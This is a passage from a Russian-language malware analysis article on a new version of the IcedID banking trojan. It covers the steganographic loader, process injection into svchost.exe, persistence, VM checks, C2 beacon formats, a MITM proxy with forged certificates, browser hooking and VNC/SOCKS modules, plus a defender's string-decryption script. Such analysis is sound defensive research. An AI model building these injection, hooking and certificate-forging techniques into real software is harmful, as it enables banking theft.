IcedID – когда лед сжигает банковский счет
Какие три мысли возникали у вирусных аналитиков, когда они слышали IcedID/BokBot? Конечно же про web-инжекты, proxy-сервер и быстрое обновление версий. Иногда настолько быстрое, что пока аналитик изучает версию, актуальную на момент начала исследования, — выходит новая. Какая фича была добавлена в этот список? Загрузчик со стеганографией. А что если вам скажут, что в новой версии не только главный модуль IcedID скрыт в изображении, но также и его конфигурационные файлы? Интересно? Тогда давайте разбираться. Иван Писарев, специалист по анализу вредоносного кода Group-IB, рассказывает, что нам приготовила новая версия этого печально знаменитого банковского трояна.
Об IcedID начали говорить еще в далеком ноябре 2017 года, когда его впервые описали исследователи из IBM X-Force. Уже на тот момент приложение имело богатый набор функциональных возможностей (proxy-сервер, web-инжекты, большой RAT-арсенал, VNC-модуль и т.д.), который продолжает активно пополняться. Мы тоже выпускали статью по данному банкеру, но с тех пор троян обзавелся новыми фишками, в том числе стал использовать стеганографию, чтобы скрывать конфигурационные данные в файловой системе и сетевом трафике. Об этом мы и расскажем подробно в данной статье.
Судя по целям бота, которые мы регулярно извлекаем из конфигурационных данных трояна, его интересы не сильно изменились: больше всего его интересуют клиенты американских банков. Но есть один интересный момент: в список целей попали фирмы, занимающиеся телекоммуникациями (AT&T) и мобильной связью (T-Mobile). Вот неполный список целей, которые атакует троян:
- Amazon.com
- eBay
- American Express
- AT&T
- T-Mobile
- Bank Of America
- Capital One
- Chase
- Wells Fargo
- J.P. Morgan
- Lloyds Bank
- Verizon Wireless
- CIBC
- Comerica (comerica.com)
- Dell
- Discover
- Dollar Bank
- Erie Bank
- E-Trade
- Frost Bank
- Halifax UK
- Hancock Bank
- Huntington Bank
- M&T bank
- Centennial Bank
- PNC
- RBC
- Charles Schwab
- SunTrust Bank
- Synovus
- Union Bank (unionbank.com)
- USAA
- US Bank
Ну, пора переходить к самому интересному — исследованию трояна.
Распространение
Примечательно, что за трояном очень активно следит инфобез-сообщество по всему миру, поэтому если вы зайдете в Twitter и попробуете поискать по тегам #IcedID и #BokBot, то найдете огромное количество записей о том, как и когда осуществлялась последняя рассылка банкера. Пожалуй, самое интересное, что случилось с трояном за последнее время в плане заражения устройств, — появление новой стадии загрузчика, которая, как и предыдущая версия, загружает картинку со спрятанной внутри старой версией — загрузчиком второй стадии. Новый загрузчик уже описан тут, поэтому не будем повторяться и просто упрощенно опишем схему заражения:
- На устройство жертвы попадает вредоносный документ.
- Документ загружает и запускает первую стадию загрузчика.
- Загрузчик первой стадии загружает картинку с CnC, извлекает оттуда загрузчик второй стадии, сохраняет и запускает его.
- Загрузчик второй стадии аналогично загружает картинку с CnC (адрес может быть другим), извлекает главный модуль IcedID и запускает его. Данная часть будет подробнее расписана далее.
Пример можно найти здесь. Думаю, вопросов тут не осталось, поэтому давайте перейдем ко второй стадии.
Downloader/Loader — загрузчик второй стадии
Основная задача данного загрузчика — получить главный модуль и запустить его. Вторая стадия может быть представлена в виде exe — или dll-файла, однако функциональных различий между двумя версиями нет. Поэтому давайте рассмотрим получение и запуск главного модуля на примере dll-файла.
Загрузчик представляет из себя DLL-файл с экспортируемой функцией DllRegisterServer (), которая циклично уходит в Sleep () на 1 секунду до тех пор, пока не поднят флаг окончания работ. Как вы увидите далее, новая версия загрузчика запускается в контексте процесса regsvr32.exe, а для корректного запуска необходима данная экспортируемая функция.
Все самое интересное происходит в функции DllEntryPoint (). Сам по себе загрузчик — достаточно маленькое приложение, которое выполняет следующие действия:
- Обращается к файлу-изображению, которое содержит ядро IcedID. Естественно, при первом запуске на зараженной машине такого изображения нет, поэтому идем далее.
- Обращается к CnC-адресам (список хранится в теле загрузчика в зашифрованном виде) и получает нагрузку. Запрос выглядит вот так:
Быстро опишем значения:
- 01 — захардкоженное значение.
- BE0F1DE5 — тоже захардкоженное значение, которое впоследствии будет передано ядру IcedID. Далее будем называть его идентификатором загрузчика.
- 0272A7E4 — временная метка.
- 00000000000040000010 — информация о процессоре + временные замеры исполнения кода. Видимо, по данной переменной сервер может определять, исследуется ли на данный момент загрузчик, и не отдать ядро IcedID исследователю.
В ответ сервер отдает изображение, которое содержит shell-код и ядро. - Сохраняет файл (алгоритм генерации имен файлов рассмотрим далее).
- Расшифровывает полученную нагрузку (далее также опишем формат, в котором хранятся зашифрованные данные). Нагрузка включает в себя заголовок, shell-код и ядро IcedID. Загрузчик из заголовка получает адрес точки входа (адрес хранится по смещению 8, просто держу в курсе) в shell-код и передает на него управление.
- Shell-код запускает процесс svchost.exe (в некоторых исследованных сэмплах процесс был другой, к примеру msiexec.exe) в suspended-режиме и при помощи функций:
- NtAllocateVirtualMemory
- ZwWriteVirtualMemory
- NtProtectVirtualMemory
- NtQueueApcThread
Инжектит себя в новый процесс и запускает. Думаю, тут все понятно и подробнее расписывать не нужно. - Shell-код в контексте svchost.exe разворачивает ядро IcedID и передает на него управление.
Кажется, получилось сложновато. Давайте тогда картинкой:
Схема заражения устройства IcedID
Надеюсь, стало понятнее. Теперь переходим к самому интересному — описанию работы трояна.
IcedID core
Предстартовая подготовка
Перед началом описания работы трояна стоит рассказать, в каком формате троян хранит строки, переменные, файлы и прочие данные. Думаю, это облегчит чтение статьи. Если для читателя данная часть не интересна — предлагаю сразу перейти к следующему разделу Сразу после запуска.
Итак, начнем.
Генерация BotId
В первую очередь троян генерирует BotId, так как данная переменная будет использована практически во всех дальнейших алгоритмах генерации имен файлов, мьютексов, ключей реестра и т.д. В новой версии IcedId, в отличии от старой, для генерации BotId используется всем известный алгоритм хеширования fnv32. BotId — это хеш-значение от строкового представления SID’а пользователя.
Генерация строк
В отличие от предыдущих версий, новая использует классическую random-функцию C++ с внутренним состоянием счетчика. То есть для генерации одной и той же строки достаточно инициализировать счетчик одинаковым значением. Для генерации строк, которые должны быть одинаковыми от запуска к запуску (например, имена директорий, конфиг-файлов, ключей реестра и т.д.), IcedID использует в качестве инициализирующего значения BotId. Если повторное использование строки не планируется, тогда в качестве инициализирующего значения используется результат инструкции rdtsc. Думаю, подробно рассматривать сам алгоритм генерации строк не столь интересно. Выделим важные моменты:
- Генерируемые строки могут быть как в виде GUID, так и в «классическом» виде.
- Для генерации «классических» строк используются:
- Пары алфавитов: aeiou и bcdfghjklmnpqrstvwxyz, при этом каждая пара символов принадлежит этим непересекающимся алфавитам (к примеру, если первый символ принадлежит первому алгоритму, то следующий символ в подстроке — строго из второго).
- Опционально может быть добавлена пара символов из алфавита abcedfikmnopsutw, при этом индексы этих символов генерируются не ГПСЧ, а высчитываются на основании подстроки, полученной на предыдущем этапе. Это важное уточнение, к которому мы вернемся чуть позже.
- Опционально могут быть добавлены целочисленные значения в конец генерируемой строки: 1, 2, 3, 4, 32, 64.
- Для генерации пути директории может использоваться имя зараженного пользователя. При этом для хранения интересных с точки зрения IcedID файлов может быть создана не одна, а две вложенные директории.
Шифрование срок
Важные для работы IcedId строки (лог-строки, строки-параметры функций и т.д.) зашифрованы кастомным алгоритмом. Расшифровать их можно довольно просто при помощи следующего Python-скрипта:
def decrypt_string(ciphertext):
current_key = struct.unpack('I', ciphertext[:4])[0]
length = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) & 0xFFFF
ciphertext = ciphertext[6:]
plaintext = ''
for index in range(length):
current_key = (index + ((current_key << 25) | (current_key >> 7))) & 0xFFFFFFFF
plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) & 0xFF))
return plaintext
При этом важно отметить, что значение сдвигов может меняться в зависимости от версии трояна.
Вычисление контрольной суммы
Данный алгоритм используется для проверки целостности конфиг-данных, а также для осуществления SSL-pinning:
Хранение глобальных переменных
Некоторые переменные, значение которых необходимо сохранять от запуска к запуску, троян сохраняет в реестре. Каждой переменной соответствует строка-значение — имя переменной. Чтение такой переменной происходит в четыре этапа:
- Считается кастомное хеш-значение от имени переменной:
- При помощи WinApi вычисляется MD5-значение от имени переменной и ее хеш-значения:
- Генерируется путь до переменной в реестре:
HKEY_CURRENT_USER\Software\Classes\CLSID\{%GUID%}
где %GUID% — вычисленное выше MD5-значение в формате GUID и читает ее значение. - Расшифровывается при помощи следующего алгоритма:
где customRandom:def custom_random(seed): for _ in range(3): seed = ror(seed) seed ^= 0x9257 for _ in range(3): seed = rol(seed) seed = (seed + 0x29B6) & 0xFFFFFFFF seed = ror(seed) seed = (seed + 0xF411) & 0xFFFFFFFF seed = rol(seed) seed = (seed - 0x8668) & 0xFFFFFFFF seed = seed ^ 0xFFFFFFFF seed = (seed - 0x8260) & 0xFFFFFFFF return seed
Если вы читали предыдущую статью, то наверняка заметили, что изменений тут немного. Собственно, сохранение бот-переменной происходит в обратном порядке: сначала шифрование, затем запись.
Итак, в ходе исследования были обнаружены следующие переменные:
- #lf — log-filter
- #ke — kill edge
- #dr — url list, with signature
- #dm — url list, without signature
Важное замечание: по команде управляющего сервера может быть добавлено/удалено значение глобальной переменной. Именно так происходит обновление списка CnC-серверов. Кстати о CnC. После чтения и расшифровки глобальной переменной (#dr) троян еще проверят подпись. И да, у трояна есть встроенный открытый ключ:
Хранение конфигурационных данных
Конфигурационные данные IcedID хранит в отдельных зашифрованных файлах. Генерация имени файлов, а также директории, в которой они хранятся, описана выше. Основная отличительная черта новой версии трояна — хранение конфигов в .png-изображениях. Да-да, теперь не только основной модуль спрятан при помощи стеганографии, но и конфигурационные файлы. Давайте подробнее рассмотрим формат хранения полезной нагрузки в изображениях.
В каждом изображении присутствует объект вот такой структуры:
struct StegData
{
int ciphertextLen;
int magic;
int plaintextChecksum;
byte keyLen;
char[keyLen] key;
char[ciphertextLen];
};
А вот и пример:
Алгоритм шифрования — RC4. В некоторых случаях (например, конфиг-файлы) изображение не содержит ключ, тогда в качестве него выступает BotId.
И пару слов о конфиг-файлах: после их расшифровки можно наблюдать следующее:
Как видите, магическая строка zeus осталась.
Логирование
Даже в очень хорошо написанной программе возникают проблемы, что уж говорить о банкере. Разработчик это понимал и поэтому добавил логирование почти на каждом шагу. По умолчанию оно выключено, но есть глобальная переменная #lf, которую можно изменить по команде сервера. Log filter — это целочисленная переменная, у которой первые три бита отвечают за тип событий, который необходимо логировать:
- [INFO]
- [WARN]
- [ERROR]
Кроме этого, переменная говорит трояну, в каких именно модулях стоит логировать события.
Логирование осуществляется в отдельный участок памяти, который по команде тоже может быть выгружен на сервер. Далее при анализе лог-строки нам еще не раз помогут.
Сразу после запуска
В первую очередь троян генерирует BotID и собирает информацию о зараженной машине, которую впоследствии передает управляющему серверу. Как я и предрекал в первой статье, главный модуль теперь тоже проверяет запуск на виртуальной машине двумя способами:
- при помощи инструкции rdtsc (а также для чистоты эксперимента cpuid и функции SwitchToThread) 15 раз замеряет время исполнения кода
- сравнивает первые 4 символа Vendor ID процессора со значениями:
- VMwa
- XenV
- Micr
- KVMK
- Lrp
- VBox
Интересное замечание: подтверждение запуска на виртуальной машине влияет только на запуск BC-модуля (будет описан позже), при этом модуль не запускается, только если система не прошла проверку по таймингам, значения VendorID игнорируются. Возможно, данная функция продолжает тестироваться и в дальнейшем будет доведена до идеала вместе с остановкой работы трояна на зараженной машине. На данный момент проверка достаточно слабая и почти не влияет на работу программы.
С BotId и информацией о системе чувствует троян пробуждение темной силы в себе, понимает, что отныне будет твориться история, которую необходимо сохранить для потомков. Как вы поняли, с данного этапа бот начинает логировать свои действия. Но перед тем, как записать первую строчку в девственно чистый участок памяти, троян пытается получить значение глобальной переменной #lf. Например, первое сообщение:
[00:11:40] 2252| [INFO] bot.init > core init ver=20 pid=1234 id=456 ldr_ver=3
Из него мы узнаем, что, по мнению разработчиков, версия загрузчика — 4, а вот версия ядра уже 21. Далее идет стандартная схема, предотвращающая повторный запуск трояна на машине: создается мьютекс (выше мы описывали генерацию строки-имени мьютекса). Если мьютекс уже создан — банкер завершает работу. Опять же, небольшое замечание: перед созданием мьютекса приложение обращается к событию с другим именем, которое создается при обновлении загрузчика трояна. И благодаря этому событию новый процесс IcedID ожидает завершения работы старого, после чего начинает выполнять свои грязные дела.
И начинаются грязные дела с обеспечения персистентности трояна на зараженном устройстве. В первую очередь приложение проверяет имя файла. Те, кто не пропустил пункт Генерация строк в прошлом разделе, наверняка помнят, что один из шагов я особо выделил — добавление двух символов из алфавита abcedfikmnopsutw, индексы к которым генерируются на основании предыдущей подстроки. Собственно, троян повторно генерирует индекс и сравнивает два последних символа имени файла с шаблонным значением. Если файл прошел проверку — дальнейшие действия не требуются. Если же это первый запуск трояна — приложение создает директорию (или две, в зависимости от BotID) в %APPDATA% или %LOCALAPPDATA%, копирует туда файл-загрузчик, старый файл удаляет, после чего добавляет новую задачу при помощи COM-интерфейса ITaskService:
Если создать задачу не удалось — приложение по-старинке прописывает себя в автозапуск через реестр. При этом название значения реестра такое же, как название задачи. То есть в данном случае:
- Ключ реестра: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Значение: meayjiduge_{94D3BBC9–24EA-411F-066A-A604B94A99DA}
- Содержимое: путь к файлу-загрузчику
Важное замечание: загрузчик IcedID может быть не только .exe, но и .dll. В таких случаях его запуск происходит через regsvr32.exe, соответственно в задачу (реестр) будет прописан следующий путь:
regsvr32.exe /s «C:\Users\<%Username%>\AppData\Local\lepuan\odnu\olniyueu3.dll»
Установив себя в систему, приложение инициализирует список CnC-серверов. Происходит это в два этапа:
- инициализация списка на основе переданных загрузчиком параметров
- инициализация списка из глобальных переменных
Думаю, второй пункт необходимо расписать подробнее. Есть две глобальные переменные: #dm — хранит список CnC-серверов без подписи, и #dr — хранит подписанный список CnC-серверов. Переменная #dm используется опционально. Похоже, данная функция чисто для тестирования.
Кроме списка CnC-серверов приложение загружает конфигурационные файлы, которые теперь скрыты в .png-изображениях (то есть разработчики заменили обычное шифрование на стеганографию + шифрование). У IcedID есть два конфиг-файла, которые используются proxy-сервером (далее расскажу подробнее) для атаки MITM:
- Main — содержит список web-инжектов (в первой статье этот список назывался cfg0)
- Sys — содержит списки grab и ignore (cfg1)
На данном этапе подготовка для работы трояна полностью завершена, можно выпускать Кракена запускать три основных потока программы (далее для удобства будем называть их модулями):
- Alive
- Hooker
- BC
Как уже было указано ранее, модуль BC не запускается, если окружение не прошло проверку по таймингам (метод VM-detect). Далее подробно будет описан каждый поток-модуль. Ну, а на этом процесс инициализации трояна закончен, главный поток уходит в бесконечный Sleep ().
Alive-модуль
Данный модуль предназначен для периодического «отстукивания» на сервер, чтобы тот понимал: бот все еще жив и готов принимать команды. Перед запуском бот «засыпает» на минуту, после чего входит в бесконечный цикл обращения к серверу. Обращение к серверу осуществляется раз в 5 минут (хотя по команде сервера данное значение может быть изменено). Итак, как же выглядит запрос? Давайте сразу начнем с примера:
GET /audio/? z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NSUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLjc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTAwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQzODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1
Connection: Keep-Alive
Host: <%CnC%>
Как видно из запроса, все самое интересное хранится в закодированных по Base64 данных. После раскодирования получаем интересную строку:
Вот такую информацию троян передает на управляющий сервер. Как видно из примера, строковые значения (все в UNICODE) закодированы URL-кодировкой. Синим выделены данные, которые передаются только во время первого отстука — регистрационные данные. Черным — данные, которые присутствуют во всех запросах. Красным — опциональные данные, включаются в запрос, только если трояну удалось получить значение соответствующей переменной. Кстати о переменных — вот их значения:
В ответ сервер отправляет пакет, содержащий fast-команду и параметры, разделенные символом ; . Перед обработкой команды приложение ищет следующие подстроки в ответе и заменяет их на соответствующие значения:
- #gid# — строковое значение, которое главный модуль получает от загрузчика
- #pgid# — строковое значение, которое главный модуль получает от загрузчика
- #id# — ID бота
- #pid# — ID загрузчика
- #domain# — CnC
- front:// — заменяет на https://<%CnC%>
Ну, а теперь давайте быстро опишем fast-команды:
Давайте подробнее распишу некоторые команды:
Ну и напоследок хотел бы рассказать об одной интересной фиче, которую заметил в последний момент: автор трояна разработал довольно интересный метод SSL-pinning’а: перед установкой соединения приложение при помощи функции WinHttpSetStatusCallback () устанавливает обработчик на события WINHTTP_CALLBACK_STATUS_REQUEST_SENT (данные успешно отправлены на сервер) и WINHTTP_CALLBACK_STATUS_SENDING_REQUEST (срабатывает перед отправкой данных на сервер), но сама функция обработки игнорирует все события, кроме WINHTTP_CALLBACK_STATUS_SENDING_REQUEST. При срабатывании события приложение «вытаскивает» из запроса данные о сертификате сервера, считает контрольную сумму от открытого ключа сервера и сравнивает получившееся значение с серийным номером сертификата. Если оно совпадает — приложение признает, что сервер не подменен, иначе закрывает соединение. Ну, а сама функция выглядит вот так:
Hooker-модуль
Как любой уважающий себя современный банкер, IcedID умеет осуществлять атаку MITM. За это отвечает hooker-модуль, работу которого можно условно разделить на три основные части:
- Генерация самоподписанного сертификата
- «Поднятие» proxy-сервера
- Инжектирование собственного модуля в контекст браузера
А теперь подробнее о каждой части.
Генерация самоподписанного сертификата
Как известно, все самые вкусные для банкеров данные сейчас передаются через HTTPS. Получить такие данные путем простого прослушивания трафика между браузером жертвы и, к примеру, сервером банка не получится, ведь все закрыто SSL. Однако разработчики нашли выход из столь интересной ситуации: они ставят свой сертификат. Но для того, чтобы его поставить, сначала его нужно сгенерировать. Специально для генерации сертификата у IcedId есть вот такая строка:
C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=© 2006 VeriSign, Inc. — For authorized use only; CN=VeriSign Class 3 Public Primary Certification Authority — G5
Ничего не напоминает? Ну конечно же — это Certificate Subject! Для подписи сертификата необходима пара открытый/закрытый ключ. Генерируется она при помощи CryptoAPI-функции CryptGenKey (), в качестве имени контейнера ключа используется MD5(<%BotId%><%Certificate Subject%>). Ну, а сам сертификат создается при помощи функции CertCreateSelfSignCertificate (), используя дуэт SHA1 и RSA, ранее созданную ключевую пару и информацию об издателе. Сертификат создается на три года, начиная ровно с года назад и до двух лет вперед. Если сгенерировать сертификат по какой-то причине не удалось — у трояна есть план B на такой случай: заранее подготовленный и зашифрованный в теле сертификат и ключ, который он подгружает и использует вместо неудачно сгенерированного.
Думали, на этом все? А вот нет. Сгенерированный самоподписанный сертификат необходим трояну только для подписи второго сертификата, который уже используется для атаки MITM. В качестве информации об издателе выступает строка:
CN=.com
Процедура генерации сертификата (в том числе имени контейнера) аналогична генерации корневого сертификата (за исключением того, что сертификат подписывается ключом ранее сгенерированного/импортируемого сертификата). И если снова что-то пошло не так — подгружается также ранее подготовленный и сохраненный в теле трояна ключ и сертификат (хранится в зашифрованном виде).
Важно также заметить, что троян создает хранилище сертификатов в файле %TEMP%/<%BotId%>.tmp и помещает туда сертификат. Таким образом, при следующем запуске трояну не нужно будет генерировать/импортировать сертификат повторно. Достаточно получить его из хранилища.
Запуск сервера
После генерации сертификата приложение начинает прослушивать порт <%BotId%> % 14000 — 15536 и, в зависимости от Main- и Sys-конфигов, делать свои темные дела. В прошлой статье подробно расписано, как происходит обработка трафика, и даже предоставлена ссылка на Python-скрипты, парсящие конфиги. Сильных изменений в этой части не обнаружено, так что, думаю, тут повторять нет смысла, идем дальше.
Патч браузеров
Итак, троян поднял свой сервер с собственным сертификатом. Что же еще осталось? Ах да: заставить браузеры редиректить все запросы на этот прокси-сервер и «поверить» сгенерированному сертификату. Для этого IcedID в бесконечном цикле с интервалом в секунду пробегается по списку запущенных приложений и ищет в их рядах браузер. Поиск осуществляется по контрольной сумме от имени процесса, которая вычисляется следующим образом:
И после сравнивает с захардкоженными значениями:
- 0×9EFDE0C4 — firefox.exe
- 0×9F96A0E0 — microsoftedgecp.exe
- 0×534B083E — iexplore.exe
- 0×7A257A14 — chrome.exe
В целом алгоритм вычисления контрольной суммы не менялся в разных версиях банкера, однако константа 0×801128AF была другой, соответственно для других версий трояна чексуммы названий процессов будут иными. Кроме сравнения по контрольной сумме, IcedID также сравнивает имя процесса посимвольно:
Если обнаружено совпадение по имени — троян инжектит собственный код в контекст браузера. Во все, кроме Microsoft Edge. Более того — если на зараженном устройстве присутствует глобальная переменная #ke, то бот убивает процесс microsoftedgecp.exe. Похоже, разработчики не придумали, как инфицировать данный браузер. Либо он им просто не нравится.
Перед патчем браузера приложение проверяет, не был ли он ранее заражен. У приложения есть список зараженных PID’ов. Кроме этого, после инфицирования код инжектированного модуля IcedID в процессе браузера создает событие с именем: <%generated_eventname%>_<%browser_pid%>. Если событие с таким именем не создано — процесс не заражен. Нужно это исправить!
Сейчас будет немного нудно. Главный модуль IcedID содержит в своем теле исполняемый файл, предназначенный для установки хуков на интересные трояну функции. Давайте далее называть его hooker. Однако, как и главный модуль, данный файл хранится в теле трояна в собственном формате и не имеет PE-заголовка. Информация о точке входа, секциях и т.д. находится в кастомном заголовке. Перед тем, как заразить процесс браузера, троян в собственном процессе «разворачивает» секции, после чего выделяет два участка памяти в контексте браузера. В первый, как вы, наверное, догадались, будет скопирован уже развернутый hooker. Во второй участок будут скопированы аргументы, необходимые для запуска перехватчика (в том числе порт прокси-сервера). После этого в контексте браузера при помощи функции CreateRemoteThread () будет создан вредоносный поток.
И вот тут начинается веселье. В контексте браузера hooker в первую очередь чинит собственный импорт (куда же без него), после чего создает ранее упомянутое событие: <%generated_eventname%>_<%browser_pid%>. Процесс установки хуков, думаю, лучше продемонстрировать в виде картинки на примере функции connect ():
Как видно из примера, приложение просто устанавливает jmp-инструкцию в начале перехватываемой функции на собственный обработчик (haha classic). В зависимости от браузера вредоносный модуль ставит хуки на разные функции:
- chrome.exe:
- CertGetCertificateChain
- CertVerifyCertificateChainPolicy
- сonnect
- iexplore.exe:
- CertGetCertificateChain
- CertVerifyCertificateChainPolicy
- Функция из библиотеки mswsock.dll
- сonnect
- firefox.exe:
- SSL_AuthCertificateHook или функция из библиотеки SSL3.dll
- сonnect
Хуки на функции работы с сертификатами и SSL ставятся с единственной целью — заставить браузер принимать любой сертификат, в том числе самоподписанный. К примеру, когда в контексте firefox.exe происходит вызов функции SSL_AuthCertificateHook (), предназначенной для изменения функции проверки сертификата на свою собственную, hooker меняет второй аргумент (как раз функция проверки) на свой обработчик:
Обработчик функции connect (), в свою очередь, предназначен для того, чтобы перенаправлять все соединения браузера на proxy-сервер. Hooker заменяет IP-адрес назначения на 127.0.0.1, а порт — на порт proxy-сервера. После успешного подключения к Proxy-серверу IcedID отправляет следующие данные:
- IP и порт назначения
- Тип браузера
- Информацию, полученную в качестве аргумента от главного модуля
Таким образом, при минимальном вмешательстве в процесс браузера IcedID удалось выстроить следующую схему MITM:
Схема IcedID MITM
Имея сертификат, Proxy-сервер и пропатченные браузеры IcedID получает полный контроль над трафиком браузеров, даже если все данные находятся за SSL.
BC-модуль
И этот модуль предназначен… для обработки команд сервера! Да-да, вы не ослышались: еще один модуль обработки команд. Давайте сразу рассмотрим, какой GET-запрос он делает на управляющий сервер:
Собственно, значение BAADBEEF — BotID, 0BADFACE — LoaderID, а за параметром Sec-WebSocket-Key скрывается временная метка. Похоже, данный модуль использует WebSocket для общения с управляющим сервером (кстати, используется те же адреса, что и в Alive-модуле, и порт 443). К сожалению, провести глубокое изучение протокола и сравнить его с RFC уже нет времени, поэтому давайте сразу перейдем к командам, которые приложение получает от управляющего сервера и обрабатывает:
Да, BC-модуль умеет исполнять fast-команды, что является прерогативой Alive-модуля. Пожалуй, самая интересная команда — сменить IP. В качестве параметра приложение получает IP-адрес управляющего сервера, на который он подключается к порту 8080. Все общение с сервером осуществляется по собственному бинарному протоколу, заголовок которого выглядит следующим образом:
struct BcMessageStruct
{
int auth;
byte command;
int id;
int key;
};
Где поле auth не менялось как минимум с пятой версии ядра IcedID: константа 0×974F014A, id — BotID, а key — LoaderID. Поле command может принимать следующие значения:
При подключении к серверу приложение отправляет пакет с command-полем 0, на что сервер отвечает ему командой. Так происходит в бесконечном цикле с интервалом. На словах все снова сложно, поэтому воспользуемся силой воображения изображения:
Ход исполнения команды Change IP в BC-модуле
Схема получилось упрощенной, не стал включать 1, 2 и 3 команды. Итак, давайте посмотрим, как происходит запуск VNC- и SOCKS-модулей.
Запуск VNC-модуля
Запуск VNC-модуля осуществляется в контексте нового процесса svchost.exe. Сам модуль находится в теле IcedID в сжатом виде и при помощи функции RtlDecompressBuffer () распаковывается (но не запускается) в контексте трояна. Как и основной модуль IcedID, VNC-модуль состоит из двух частей: shell-код, предназначенный для развертывания трояна в контексте svchost.exe, и сам модуль.
В первую очередь IcedID запускает новый процесс svchost.exe в suspended-режиме без аргументов, после чего записывает туда VNC-модуль и параметры, необходимые для работы модуля: IP-адрес CnC, порт, BotID, Key и т.д. А запуск модуля осуществляется довольно интересным образом: вместо того, чтобы создать новый поток в контексте нового процесса, IcedID ставит хук на стандартную функцию RtlExitUserProcess (). Выглядит это следующим образом:
После этого он запускает работу процесса функцией ResumeThread (). Так как процесс был запущен без аргументов, он очень быстро завершит свою работу и вызовет функцию RtlExitUserProcess (), которая уже не та, что была при запуске приложения, и JMP-инструкция передаст управление на shell-код VNC-модуля, который будет выполнять уже свои грязные дела. Примечательно, что старые версии трояна именно таким образом разворачивали главный модуль IcedID в контексте svchost.exe, но по какой-то причине разработчик загрузчика отказался от этой идеи и сейчас запуск IcedID осуществляется гораздо проще.
Запуск SOCKS-модуля
Как вы уже догадались, данный модуль предназначен для проксирования трафика между двумя удаленными серверами. Фактически SOCKS-модуль является backonnect proxy и выполняет соответствующие функции: устанавливает соединение с удаленным CnC-сервером, запрашивает адрес, порт и параметры, устанавливает соединение и проксирует трафик между CnC и удаленным сервером (может быть легитимным). А теперь чуть подробнее.
После получения команды на запуск модуля приложение отправляет на сервер объект структуры BcMessageStruct, где command — 4, а значения id и key позаимствованы из структуры-запроса. В ответ сервер отсылает данные, состоящие из заголовка, адреса и порта удаленного сервера, с которым необходимо установить соединение. Адрес может быть как доменом, так и IP. Заголовок состоит из 5 байт, вот краткое описание двух наиболее интересных полей:
После заголовка следуют данные — адрес и порт. Снова сложно? Тогда и для этого есть схема!
Схема работы SOCKS-модуля
А теперь неожиданный поворот: если управляющий сервер устанавливает соединение и указывает в качестве пары адрес — порт значение 127.0.0.1:39426, а поле «тип запроса» — 1, то приложение запускает… процесс cmd.exe.
Зачем разработчик выполнил запуск cmd.e